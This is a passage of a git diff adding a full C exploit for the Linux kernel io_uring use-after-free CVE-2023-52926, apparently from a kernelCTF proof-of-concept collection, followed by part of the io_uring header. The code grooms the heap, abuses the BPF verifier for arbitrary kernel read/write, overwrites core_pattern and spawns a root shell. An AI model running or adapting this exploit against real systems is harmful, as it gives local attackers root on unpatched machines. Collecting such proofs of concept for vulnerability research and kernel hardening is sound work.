32) into R8. + // In the eyes of the verifier, R8 still holds + // a safe pointer to the BPF stack. In reality, it's + // an arbitrary kernel address. + BPF_LD_MAP_FD(BPF_REG_9, 0x101), // Load output map FD + // Get control flag: Loads the *value* of element 1 from the output map (FD 0x101) into R7. + // This value (0 for read, 1 for write) determines the operation. + BPF_MAP_GET(1, BPF_REG_7), + // Get data buffer address: Gets the *address* of element 2 from the output map into R6. + // This is where read data is stored, or write data is loaded from. + BPF_MAP_GET_ADDR(2, BPF_REG_6), + + // If R7 != 0 (meaning it's a write operation), jump to the write path. + BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 0, 4), + + // Read Path (R7 == 0): + // Read 8 bytes (a 64-bit value) from the target kernel address (R8) into R5. + BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_8, 0), + // Store the read value (R5) into element 2 of the output map (pointed to by R6). + BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_5, 0), + BPF_MOV64_IMM(BPF_REG_0, 0), // Return 0 (success) + BPF_EXIT_INSN(), + + // Write Path (R7 != 0): + // Load the 64-bit value to write from element 2 of the output map (pointed to by R6) into R5. + BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_6, 0), + // Write this value (R5) to the target kernel address (R8). + BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_5, 0), + BPF_MOV64_IMM(BPF_REG_0, 0), // Return 0 (success) + BPF_EXIT_INSN(), +}; + +// --- Function Declarations --- +static int util_bpf(int cmd, void *attr, size_t n); +static int setup_bpf_create_map(enum bpf_map_type map_type, unsigned int key_size, + unsigned int value_size, unsigned int max_entries, + unsigned int map_fd); +static int setup_bpf_create_mmapable_map(enum bpf_map_type map_type, unsigned int key_size, + unsigned int value_size, unsigned int max_entries, + unsigned int map_fd); +static int setup_bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn *insns, + int insn_cnt, const char *license); +static int util_bpf_lookup_elem(int fd, const void *key, void *value); +static int util_bpf_update_elem(int fd, const void *key, const void *value, uint64_t flags); +static int util_bpf_map_freeze(int fd); +static int util_update_elem(int mapfd, int key, size_t val); +static size_t util_get_elem(int mapfd, int key); +static int load_leak_bpf_prog(void); +static int load_read_write_bpf_prog(void); +static size_t leak_kernel_read64(size_t addr); +static size_t exploit_kernel_write64(size_t addr, size_t val); +static void setup_cpu_affinity(int cpu_id); +static int util_check_core_pattern(void); +static void exploit_trigger_core_dump(char *cmd); +static void vuln_setup_io_uring_buffer_ring(int uring_fd, char *res_buffer, + struct io_uring_buf_ring *ring_buffer); +static void vuln_trigger_io_uring_uaf(int uring_fd, + unsigned char *sq_ring, + struct io_uring_sqe *sqes, + struct io_uring_params *params); +static void spray_cross_cache_bpf_maps(int *bpf_map_fd, int (*prog_bpf_fds)[2]); + +// --- Function Implementations --- + +// Generic BPF syscall wrapper +static int util_bpf(int cmd, void *attr, size_t n) +{ + return syscall(__NR_BPF, cmd, attr, n); +} + +// Wrapper for BPF_MAP_CREATE +static int setup_bpf_create_map(enum bpf_map_type map_type, unsigned int key_size, + unsigned int value_size, unsigned int max_entries, + unsigned int map_fd) +{ + union bpf_attr attr = {.map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries, + .inner_map_fd = map_fd}; // This parameter is usually for nested maps + + return util_bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +// Wrapper for BPF_MAP_CREATE with BPF_F_MMAPABLE and BPF_F_RDONLY_PROG flags +static int setup_bpf_create_mmapable_map(enum bpf_map_type map_type, unsigned int key_size, + unsigned int value_size, unsigned int max_entries, + unsigned int map_fd) +{ + union bpf_attr attr = {.map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries, + .inner_map_fd = map_fd, + .map_flags = BPF_F_MMAPABLE | BPF_F_RDONLY_PROG}; // Important flags for the exploit + + return util_bpf(BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +// Wrapper for BPF_PROG_LOAD +static int setup_bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn *insns, + int insn_cnt, const char *license) +{ + union bpf_attr attr = { + .prog_type = type, + .prog_flags = BPF_F_TEST_RND_HI32, // Helps with verifier + .insns = ptr_to_u64(insns), + .insn_cnt = insn_cnt, + .license = ptr_to_u64(license), + .log_buf = (size_t)log_buf, + .log_size = sizeof(log_buf), + .log_level = 3, // Enable verbose logging for debugging + }; + + return util_bpf(BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +// Wrapper for BPF_MAP_LOOKUP_ELEM +static int util_bpf_lookup_elem(int fd, const void *key, void *value) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + }; + + return SYSCHK(syscall(__NR_BPF, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))); +} + +// Wrapper for BPF_MAP_UPDATE_ELEM +static int util_bpf_update_elem(int fd, const void *key, const void *value, uint64_t flags) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + .flags = flags, + }; + + return SYSCHK(syscall(__NR_BPF, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))); +} + +// Wrapper for BPF_MAP_FREEZE +static int util_bpf_map_freeze(int fd) +{ + union bpf_attr attr = { + .map_fd = fd, + }; + + return SYSCHK(syscall(__NR_BPF, BPF_MAP_FREEZE, &attr, sizeof(attr))); +} + +// Helper to update an element in a BPF map +static int util_update_elem(int mapfd, int key, size_t val) +{ + return util_bpf_update_elem(mapfd, &key, &val, 0); +} + +// Helper to get an element from a BPF map +static size_t util_get_elem(int mapfd, int key) +{ + size_t val; + util_bpf_lookup_elem(mapfd, &key, &val); + return val; +} + +// Loads the BPF program for leaking kernel addresses +static int load_leak_bpf_prog() +{ + char license[] = "GPL"; + return setup_bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, array_map_leak_prog, + INST(array_map_leak_prog), license); +} + +// Loads the BPF program for arbitrary kernel read/write +static int load_read_write_bpf_prog() +{ + char license[] = "GPL"; + return setup_bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, kernel_read_write_prog, + INST(kernel_read_write_prog), license); +} + +// @step(name="Arbitrary Kernel Read/Write Primitive") +// Performs an arbitrary 64-bit kernel read using the BPF primitive. +static size_t leak_kernel_read64(size_t addr) +{ + util_update_elem(0x101, 1, 0); // Set mode to read + // Store the address to read from in the buffer sent over the socket. + // The BPF program will read this value and use it as the target address. + *(size_t *)(&tmp_buf[8]) = addr; + SYSCHK(write(sockets[0], tmp_buf, 0x10)); // Trigger BPF program execution + return util_get_elem(0x101, 2); // Get the read value from BPF map element 2 +} + +// @step(name="Arbitrary Kernel Read/Write Primitive") +// Performs an arbitrary 64-bit kernel write using the BPF primitive. +static size_t exploit_kernel_write64(size_t addr, size_t val) +{ + util_update_elem(0x101, 1, 1); // Set mode to write + util_update_elem(0x101, 2, val); // Store the value to write in BPF map element 2 + // Store the address to write to in the buffer sent over the socket. + *(size_t *)(&tmp_buf[8]) = addr; + SYSCHK(write(sockets[0], tmp_buf, 0x10)); // Trigger BPF program execution + return 0; +} + +// Sets the CPU affinity for the current process +static void setup_cpu_affinity(int cpu_id) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(cpu_id, &mask); + SYSCHK(sched_setaffinity(0, sizeof(mask), &mask)); +} + +// Checks if the /proc/sys/kernel/core_pattern has been overwritten +static int util_check_core_pattern(void) +{ + char core_pattern_buf[0x100] = {}; + int core_fd = open("/proc/sys/kernel/core_pattern", O_RDONLY); + if (core_fd == -1) + { + perror("open /proc/sys/kernel/core_pattern"); + return 0; + } + SYSCHK(read(core_fd, core_pattern_buf, sizeof(core_pattern_buf))); + close(core_fd); + // Expected core_pattern format after overwrite + return strncmp(core_pattern_buf, "|/proc/%P/fd/666", 0x10) == 0; +} + +// @step(name="Privilege Escalation") +// Triggers a program crash to initiate the core dump and execute our payload. +static void exploit_trigger_core_dump(char *cmd) +{ + // Create a memfd to store the exploit binary + int memfd = SYSCHK(memfd_create("", 0)); + // Copy current executable into memfd + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + // Duplicate memfd to file descriptor 666, which will be executed by core_pattern + SYSCHK(dup2(memfd, 666)); + close(memfd); + + // Wait until core_pattern is overwritten by the main process + while (util_check_core_pattern() == 0) + sleep(1); + + puts("Core pattern overwritten. Triggering crash for root shell!"); + // Trigger program crash to cause kernel to execute the program from core_pattern + *(size_t *)0 = 0; +} + +// @step(name="io_uring Use-After-Free Vulnerability") +// Sets up the io_uring buffer ring for the vulnerability. +static void vuln_setup_io_uring_buffer_ring(int uring_fd, char *res_buffer, + struct io_uring_buf_ring *ring_buffer) +{ + // Initialize the ring buffer with a single entry + ring_buffer->bufs[0].addr = (size_t)res_buffer; + ring_buffer->bufs[0].len = 0x1000; + ring_buffer->tail = 1; + + struct io_uring_buf_reg reg_ring = { + .ring_addr = (unsigned long)ring_buffer, + .ring_entries = 1, + .bgid = 1}; + + // Register a large number of buffer rings. + // This is part of the heap grooming to ensure `io_buffer_list` objects will cross cache later + for (int i = 0; i < 0x1000; i++) + { + reg_ring.bgid = i; // Each ring gets a unique buffer group ID + SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, ®_ring, 1)); + } +} + +// @step(name="io_uring Use-After-Free Vulnerability") +// Triggers the io_uring use-after-free vulnerability (UAF). +// The vulnerability occurs when `io_uring` prepares an IO_READ operation +// with a provided buffer list, but the buffer list is not correctly consumed/committed. +// This allows the buffer list to be unregistered (freed) prematurely, leading to UAF +// when the async operation later tries to access the freed memory. +// Primitive: Use-after-free increment primitive on `io_buffer_list` (kmalloc-64 slab) +// at offset 22 (corresponding to `bl->head` which is incremented). +static void vuln_trigger_io_uring_uaf(int uring_fd, + unsigned char *sq_ring, + struct io_uring_sqe *sqes, + struct io_uring_params *params) +{ + + sqes[0] = (struct io_uring_sqe){ + .opcode = IORING_OP_READ, + .flags = IOSQE_BUFFER_SELECT, + .fd = SYSCHK(socket(AF_UNIX, SOCK_STREAM, 0)), + .addr = 0, + .len = 0x1000, + .buf_group = 0x800, + }; + + ((int *)(sq_ring + params->sq_off.array))[0] = 0; // Index of SQE 0 + (*(int *)(sq_ring + params->sq_off.tail)) += 1; // Increment tail to signal new entries + SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0x1, 0, 0, NULL, 0)); + + // After submission, the `io_buffer_list` for bgid 0x800 is "prepared" but its + // refcount is not incremented. We now unregister (free) a range of these buffers to make it cross cache. + // This creates the UAF condition for the `io_buffer_list` at bgid 0x800. + for (int i = 0x400; i < 0xc00; i++) + { // Range that includes 0x800 + struct io_uring_buf_reg unreg_ring = {.bgid = i}; + SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, &unreg_ring, 1)); + } +} + +// @step(name="Heap Grooming and Cross-Cache Attack") +// Sprays BPF_MAP_TYPE_ARRAY to reclaim the memory of the freed `io_buffer_list` objects. +// This allows the UAF increment to hit a controlled BPF map object. +// Objects sprayed: bpf_array (size:8192) +static void spray_cross_cache_bpf_maps(int *bpf_map_fd, int (*prog_bpf_fds)[2]) +{ + // Create many BPF array maps. These map objects are typically allocated in kmalloc-64 slab, + // which is the same cache as `io_buffer_list`. This ensures the UAF hits our controlled object. + // BPF_F_MMAPABLE: Allows userspace to mmap the map's value for direct access. + // BPF_F_RDONLY_PROG: Crucial for the BPF verifier bypass. It makes the verifier assume + // the map contents are read-only, allowing us to later modify them via UAF. + for (int i = 0; i < 0x200; i++) + { // Spray 0x200 maps + bpf_map_fd[i] = SYSCHK(setup_bpf_create_mmapable_map(BPF_MAP_TYPE_ARRAY, 4, 0x1000, 1, 0)); + } + + // Freeze all the created BPF maps. + for (int i = 0; i < 0x200; i++) + { + util_bpf_map_freeze(bpf_map_fd[i]); + SYSCHK(dup2(bpf_map_fd[i], 0x100)); // Duplicate map FD to 0x100 for BPF program access + prog_bpf_fds[i][0] = load_leak_bpf_prog(); // Load the leak program + prog_bpf_fds[i][1] = load_read_write_bpf_prog(); // Load the read/write program + } +} + +int main(int argc, char **argv) +{ + setvbuf(stdout, 0, _IONBF, 0); // No-buffered output for easier debugging + + // @step(name="Setup Environment") + // Set file descriptor limits to avoid issues with many BPF maps + struct rlimit rlim = { + .rlim_cur = 0x1000, + .rlim_max = 0x1000}; + SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim)); + SYSCHK(dup2(0, 0x100)); // Duplicate stdin to FD 0x100. This will be overwritten by BPF map FDs. + + // Child process for root shell execution via core_pattern + if (argc > 1) + { + // This block is executed by the child process that receives the core dump + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + // Execute the root shell commands. + system("cat /flag;echo o>/proc/sysrq-trigger"); // Read flag and potentially trigger OOM for cleanup + execlp("bash", "bash", NULL); + perror("execlp bash"); // Should not reach here + exit(1); + } + + // Parent process (main exploit logic) + int child_pid = fork(); + if (child_pid == 0) + { // First child process, will trigger core dump later + setup_cpu_affinity(0); // Pin to CPU 0 + setsid(); // Create a new session (important for init namespace root) + exploit_trigger_core_dump(""); // Check core dump and will trigger crash later + exit(0); + } + setup_cpu_affinity(1); // Pin main exploit process to CPU 1 + + // Create a generic array map, dup2'd to 0x101. This map will be used by BPF programs + // for passing data (kernel addresses, read/write values) between userspace and kernel. + int output_array_map_fd = setup_bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 8, 0x10, 0); + SYSCHK(dup2(output_array_map_fd, 0x101)); + + // Fork a child process to run the io_uring vulnerability trigger. + // The parent process will wait for this child to exit, meaning the UAF has been triggered. + for (int i = 0;; i++) + { + printf("Try #%d round\n", i); + setup_cpu_affinity(0); // Child uses CPU 0 for io_uring trigger + if (fork() == 0) + break; // Child continues + wait(0); // Parent waits for child to finish + } + + struct io_uring_params params = {.flags = IORING_SETUP_TASKRUN_FLAG | IORING_SETUP_DEFER_TASKRUN | IORING_SETUP_SINGLE_ISSUER}; + + // Setup io_uring with a reasonable number of entries (e.g., 0x8000) + int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, 0x8000, ¶ms)); + + // Mmap io_uring rings (submission queue, completion queue, SQEs) + unsigned char *sq_ring = SYSCHK(mmap(NULL, params.sq_off.array + params.sq_entries * sizeof(unsigned), + PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING)); + unsigned char *cq_ring = SYSCHK(mmap(NULL, params.cq_off.cqes + params.cq_entries * sizeof(struct io_uring_cqe), + PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING)); + struct io_uring_sqe *sqes = SYSCHK(mmap(NULL, params.sq_entries * sizeof(struct io_uring_sqe), + PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES)); + + // Register a dummy file descriptor for io_uring operations + int dummy_fd = SYSCHK(socket(AF_UNIX, SOCK_STREAM, 0)); + SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_FILES, &dummy_fd, 1)); + + // Mmap a buffer and an io_uring_buf_ring structure. + // `res_buffer` will be the actual data buffer, and `ring_buffer` is the metadata. + char *res_buffer = SYSCHK(mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0)); + struct io_uring_buf_ring *ring_buffer = SYSCHK(mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0)); + + // @step(name="io_uring Use-After-Free Vulnerability prepare") + vuln_setup_io_uring_buffer_ring(uring_fd, res_buffer, ring_buffer); + + // @step(name="io_uring Use-After-Free Vulnerability trigger") + // Trigger the actual UAF by submitting vulnerable operations and unregistering. + vuln_trigger_io_uring_uaf(uring_fd, sq_ring, sqes, ¶ms); + + // Give some time for kernel internal structures to settle (heuristic) + sleep(5); + + // @step(name="Heap Grooming and Cross-Cache Attack") + // Use an array to store BPF map FDs. + int bpf_map_fd[0x200]; + // Array to store program FDs (leak_prog_fd, rw_prog_fd) for each map + int prog_bpf_fds[0x200][2]; + spray_cross_cache_bpf_maps(bpf_map_fd, prog_bpf_fds); + + // Wait for completion events to ensure the UAF is triggered. + SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0, 1, IORING_ENTER_GETEVENTS, NULL, 0)); + + // @step(name="BPF Verifier Bypass and Kernel Address Leak") + int exploit_success = 0; + int kernel_read_write_prog_fd = -1; // Store the FD of the successful R/W program + + // Iterate through sprayed BPF maps to find the one corrupted by the UAF. + for (int j = 0; j < 0x200; j++) + { + char *mmaped_addr = SYSCHK(mmap(0, 0x1000, PROT_READ, MAP_SHARED, bpf_map_fd[j], 0)); + // Check if the mmaped region contains the magic value (indicating corruption). + // The magic value is set by the BPF program during the `skb_load_bytes_relative` read. + if (memcmp(mmaped_addr, magic, 0x1000) != 0) + { + // Found the corrupted map! + int array_map_leak_prog_fd = prog_bpf_fds[j][0]; + kernel_read_write_prog_fd = prog_bpf_fds[j][1]; + + // Attach the leak BPF program to a socket to trigger its execution + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)); + SYSCHK(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &array_map_leak_prog_fd, + sizeof(array_map_leak_prog_fd))); + exploit_success = 1; + break; + } + SYSCHK(munmap(mmaped_addr, 0x1000)); // Unmap if not the target + } + + if (exploit_success == 0) + { + puts("Failed to find corrupted BPF map. Exiting."); + exit(0); + } + + size_t array_map_kernel_addr = 0; + // Loop until we successfully leak the kernel address of an array map. + // The BPF program will store this in BPF map element 1 of output_array_map_fd. +LOOP_LEAK: + for (int i = 0; i < 0x100; i += 8) + { + // Trigger the leak program by sending a byte over the socket + *(size_t *)(&tmp_buf[8]) = i; // Dummy data for skb_load_bytes_relative + SYSCHK(write(sockets[0], tmp_buf, 9)); + array_map_kernel_addr = util_get_elem(0x101, 1); // Get the leaked address + if (array_map_kernel_addr) + { + break; + } + } + if (array_map_kernel_addr == 0) + { + goto LOOP_LEAK; // Retry if leak failed + } + printf("Leaked array_map kernel address: 0x%lx\n", array_map_kernel_addr); + + // @step(name="Arbitrary Kernel Read/Write Primitive") + // Detach the leak program and attach the arbitrary read/write program. + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)); // New socket pair for the R/W primitive + SYSCHK(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &kernel_read_write_prog_fd, + sizeof(kernel_read_write_prog_fd))); + + // Calculate kernel base address using the leaked array_map address and a known offset. + size_t kernel_base = leak_kernel_read64(array_map_kernel_addr) - ARRAY_MAP_OPS_OFFSET; + printf("Calculated kernel base address: 0x%lx\n", kernel_base); + + // Calculate the address of `core_pattern` in kernel memory. + size_t core_pattern_addr = kernel_base + CORE_PATTERN_OFFSET; + printf("core_pattern address: 0x%lx\n", core_pattern_addr); + + // @step(name="Privilege Escalation") + // Overwrite `core_pattern` with our payload to gain root. + // The payload `|/proc/%P/fd/666 %P` tells the kernel to execute + // the program pointed to by FD 666 (our exploit binary) with root privileges + // when a process crashes, passing the PID as an argument. + char core_pattern_payload[] = "|/proc/%P/fd/666 %P"; + // Write the payload byte by byte (or 8 bytes at a time) to core_pattern. + for (int i = 0; i < sizeof(core_pattern_payload); i += sizeof(size_t)) + { + exploit_kernel_write64(core_pattern_addr + i, *(size_t *)(core_pattern_payload + i)); + } + puts("core_pattern overwritten."); + + // The child process for core dump (created earlier) will now crash. + // When it crashes, the kernel will execute this exploit binary (via FD 666) + // with root privileges. The arguments will be the PID of the crashed process. + // The main function's initial `if (argc > 1)` block handles this. + + // Keep the main process alive to allow the child to call `execve`. + // It will eventually exit when the shell takes over. + pause(); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/io_uring.h b/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/io_uring.h new file mode 100644 index 000000000..7a673b528 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52926_lts/exploit/lts-6.6.66/io_uring.h @@ -0,0 +1,776 @@ +/* SPDX-License-Identifier: (GPL-2.0 WITH Linux-syscall-note) OR MIT */ +/* + * Header file for the io_uring interface. + * + * Copyright (C) 2019 Jens Axboe + * Copyright (C) 2019 Christoph Hellwig + */ +#ifndef LINUX_IO_URING_H +#define LINUX_IO_URING_H + +#include +#include +/* + * this file is shared with liburing and that has to autodetect + * if linux/time_types.h is available or not, it can + * define UAPI_LINUX_IO_URING_H_SKIP_LINUX_TIME_TYPES_H + * if linux/time_types.h is not available + */ +#ifndef UAPI_LINUX_IO_URING_H_SKIP_LINUX_TIME_TYPES_H +#include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * IO submission data structure (Submission Queue Entry) + */ +struct io_uring_sqe { + __u8 opcode; /* type of operation for this sqe */ + __u8 flags; /* IOSQE_ flags */ + __u16 ioprio; /* ioprio for the request */ + __s32 fd; /* file descriptor to do IO on */ + union { + __u64 off; /* offset into file */ + __u64 addr2; + struct { + __u32 cmd_op; + __u32 __pad1; + }; + }; + union { + __u64 addr; /* pointer to buffer or iovecs */ + __u64 splice_off_in; + struct { + __u32 level; + __u32 optname; + }; + }; + __u32 len; /* buffer size or number of iovecs */ + union { + __kernel_rwf_t rw_flags; + __u32 fsync_flags; + __u16 poll_events; /* compatibility */ + __u32 poll32_events; /* word-reversed for BE */ + __u32 sync_range_flags; + __u32 msg_flags; + __u32 timeout_flags; + __u32 accept_flags; + __u32 cancel_flags; + __u32 open_flags; + __u32 statx_flags; + __u32 fadvise_advice; + __u32 splice_flags; + __u32 rename_flags; + __u32 unlink_flags; + __u32 hardlink_flags; + __u32 xattr_flags; + __u32 msg_ring_flags; + __u32 uring_cmd_flags; + __u32 waitid_flags; + __u32 futex_flags; + __u32 install_fd_flags; + }; + __u64 user_data; /* data to be passed back at completion time */ + /* pack this to avoid bogus arm OABI complaints */ + union { + /* index into fixed buffers, if used */ + __u16 buf_index; + /* for grouped buffer selection */ + __u16 buf_group; + } __attribute__((packed)); + /* personality to use, if used */ + __u16 personality; + union { + __s32 splice_fd_in; + __u32 file_index; + __u32 optlen; + struct { + __u16 addr_len; + __u16 __pad3[1]; + }; + }; + union { + struct { + __u64 addr3; + __u64 __pad2[1]; + }; + __u64 optval; + /* + * If the ring is initialized with IORING_SETUP_SQE128, then + * this field is used for 80 bytes of arbitrary command data + */ + __u8 cmd[0]; + }; +}; + +/* + * If sqe->file_index is set to this for opcodes that instantiate a new + * direct descriptor (like openat/openat2/accept), then io_uring will allocate + * an available direct descriptor instead of having the application pass one + * in. The picked direct descriptor will be returned in cqe->res, or -ENFILE + * if the space is full. + */ +#define IORING_FILE_INDEX_ALLOC (~0U) + +enum { + IOSQE_FIXED_FILE_BIT, + IOSQE_IO_DRAIN_BIT, + IOSQE_IO_LINK_BIT, + IOSQE_IO_HARDLINK_BIT, + IOSQE_ASYNC_BIT, + IOSQE_BUFFER_SELECT_BIT, + IOSQE_CQE_SKIP_SUCCESS_BIT, +}; + +/* + * sqe->flags + */ +/* use fixed fileset */ +#define IOSQE_FIXED_FILE (1U << IOSQE_FIXED_FILE_BIT) +/* issue after inflight IO */ +#define IOSQE_IO_DRAIN (1U << IOSQE_IO_DRAIN_BIT) +/* links next sqe */ +#define IOSQE_IO_LINK (1U << IOSQE_IO_LINK_BIT) +/* like LINK, but stronger */ +#define IOSQE_IO_HARDLINK (1U << IOSQE_IO_HARDLINK_BIT) +/* always go async */ +#define IOSQE_ASYNC (1U << IOSQE_ASYNC_BIT) +/* select buffer from sqe->buf_group */ +#define IOSQE_BUFFER_SELECT (1U << IOSQE_BUFFER_SELECT_BIT) +/* don't post CQE if request succeeded */ +#define IOSQE_CQE_SKIP_SUCCESS (1U << IOSQE_CQE_SKIP_SUCCESS_BIT) + +/* + * io_uring_setup() flags + */ +#define IORING_SETUP_IOPOLL (1U << 0) /* io_context is polled */ +#define IORING_SETUP_SQPOLL (1U << 1) /* SQ poll thread */ +#define IORING_SETUP_SQ_AFF (1U << 2) /* sq_thread_cpu is valid */ +#define IORING_SETUP_CQSIZE (1U << 3) /* app defines CQ size */ +#define IORING_SETUP_CLAMP (1U << 4) /* clamp SQ/CQ ring sizes */ +#define IORING_SETUP_ATTACH_WQ (1U << 5) /* attach to existing wq */ +#define IORING_SETUP_R_DISABLED (1U << 6) /* start with ring disabled */ +#define IORING_SETUP_SUBMIT_ALL (1U << 7) /* continue submit on error */ +/* + * Cooperative task running. When requests complete, they often require + * forcing the submitter to transition to the kernel to complete. If this + * flag is set, work will be done when the task transitions anyway, rather + * than force an inter-processor interrupt reschedule. This avoids interrupting + * a task running in userspace, and saves an IPI. + */ +#define IORING_SETUP_COOP_TASKRUN (1U << 8) +/* + * If COOP_TASKRUN is set, get notified if task work is available for + * running and a kernel transition would be needed to run it. This sets + * IORING_SQ_TASKRUN in the sq ring flags. Not valid with COOP_TASKRUN. + */ +#define IORING_SETUP_TASKRUN_FLAG (1U << 9) +#define IORING_SETUP_SQE128 (1U << 10) /* SQEs are 128 byte */ +#define IORING_SETUP_CQE32 (1U << 11) /* CQEs are 32 byte */ +/* + * Only one task is allowed to submit requests + */ +#define IORING_SETUP_SINGLE_ISSUER (1U << 12) + +/* + * Defer running task work to get events. + * Rather than running bits of task work whenever the task transitions + * try to do it just before it is needed. + */ +#define IORING_SETUP_DEFER_TASKRUN (1U << 13) + +/* + * Application provides the memory for the rings + */ +#define IORING_SETUP_NO_MMAP (1U << 14) + +/* + * Register the ring fd in itself for use with + * IORING_REGISTER_USE_REGISTERED_RING; return a registered fd index rather + * than an fd. + */ +#define IORING_SETUP_REGISTERED_FD_ONLY (1U << 15) + +/* + * Removes indirection through the SQ index array. + */ +#define IORING_SETUP_NO_SQARRAY (1U << 16) + +enum io_uring_op { + IORING_OP_NOP, + IORING_OP_READV, + IORING_OP_WRITEV, + IORING_OP_FSYNC, + IORING_OP_READ_FIXED, + IORING_OP_WRITE_FIXED, + IORING_OP_POLL_ADD, + IORING_OP_POLL_REMOVE, + IORING_OP_SYNC_FILE_RANGE, + IORING_OP_SENDMSG, + IORING_OP_RECVMSG, + IORING_OP_TIMEOUT, + IORING_OP_TIMEOUT_REMOVE, + IORING_OP_ACCEPT, + IORING_OP_ASYNC_CANCEL, + IORING_OP_LINK_TIMEOUT, + IORING_OP_CONNECT, + IORING_OP_FALLOCATE, + IORING_OP_OPENAT, + IORING_OP_CLOSE, + IORING_OP_FILES_UPDATE, + IORING_OP_STATX, + IORING_OP_READ, + IORING_OP_WRITE, + IORING_OP_FADVISE, + IORING_OP_MADVISE, + IORING_OP_SEND, + IORING_OP_RECV, + IORING_OP_OPENAT2, + IORING_OP_EPOLL_CTL, + IORING_OP_SPLICE, + IORING_OP_PROVIDE_BUFFERS, + IORING_OP_REMOVE_BUFFERS, + IORING_OP_TEE, + IORING_OP_SHUTDOWN, + IORING_OP_RENAMEAT, + IORING_OP_UNLINKAT, + IORING_OP_MKDIRAT, + IORING_OP_SYMLINKAT, + IORING_OP_LINKAT, + IORING_OP_MSG_RING, + IORING_OP_FSETXATTR, + IORING_OP_SETXATTR, + IORING_OP_FGETXATTR, + IORING_OP_GETXATTR, + IORING_OP_SOCKET, + IORING_OP_URING_CMD, + IORING_OP_SEND_ZC, + IORING_OP_SENDMSG_ZC, + IORING_OP_READ_MULTISHOT, + IORING_OP_WAITID, + IORING_OP_FUTEX_WAIT, + IORING_OP_FUTEX_WAKE, + IORING_OP_FUTEX_WAITV, + IORING_OP_FIXED_FD_INSTALL, + + /* this goes last, obviously */ + IORING_OP_LAST, +}; + +/* + * sqe->uring_cmd_flags top 8bits aren't available for userspace + * IORING_URING_CMD_FIXED use registered buffer; pass this flag + * along with setting sqe->buf_index. + */ +#define IORING_URING_CMD_FIXED (1U << 0) +#define IORING_URING_CMD_MASK IORING_URING_CMD_FIXED + + +/* + * sqe->fsync_flags + */ +#define IORING_FSYNC_DATASYNC (1U << 0) + +/* + * sqe->timeout_flags + */ +#define IORING_TIMEOUT_ABS (1U << 0) +#define IORING_TIMEOUT_UPDATE (1U << 1) +#define IORING_TIMEOUT_BOOTTIME (1U << 2) +#define IORING_TIMEOUT_REALTIME (1U << 3) +#define IORING_LINK_TIMEOUT_UPDATE (1U << 4) +#define IORING_TIMEOUT_ETIME_SUCCESS (1U << 5) +#define IORING_TIMEOUT_MULTISHOT (1U << 6) +#define IORING_TIMEOUT_CLOCK_MASK (IORING_TIMEOUT_BOOTTIME | IORING_TIMEOUT_REALTIME) +#define IORING_TIMEOUT_UPDATE_MASK (IORING_TIMEOUT_UPDATE | IORING_LINK_TIMEOUT_UPDATE) +/* + * sqe->splice_flags + * extends splice(2) flags + */ +#define SPLICE_F_FD_IN_FIXED (1U << 31) /* the last bit of __u32 */ + +/* + * POLL_ADD flags. Note that since sqe->poll_events is the flag space, the + * command flags for POLL_ADD are stored in sqe->len. + * + * IORING_POLL_ADD_MULTI Multishot poll. Sets IORING_CQE_F_MORE if + * the poll handler will continue to report + * CQEs on behalf of the same SQE. + * + * IORING_POLL_UPDATE Update existing poll request, matching + * sqe->addr as the old user_data field. + * + * IORING_POLL_LEVEL Level triggered poll. + */ +#define IORING_POLL_ADD_MULTI (1U << 0) +#define IORING_POLL_UPDATE_EVENTS (1U << 1) 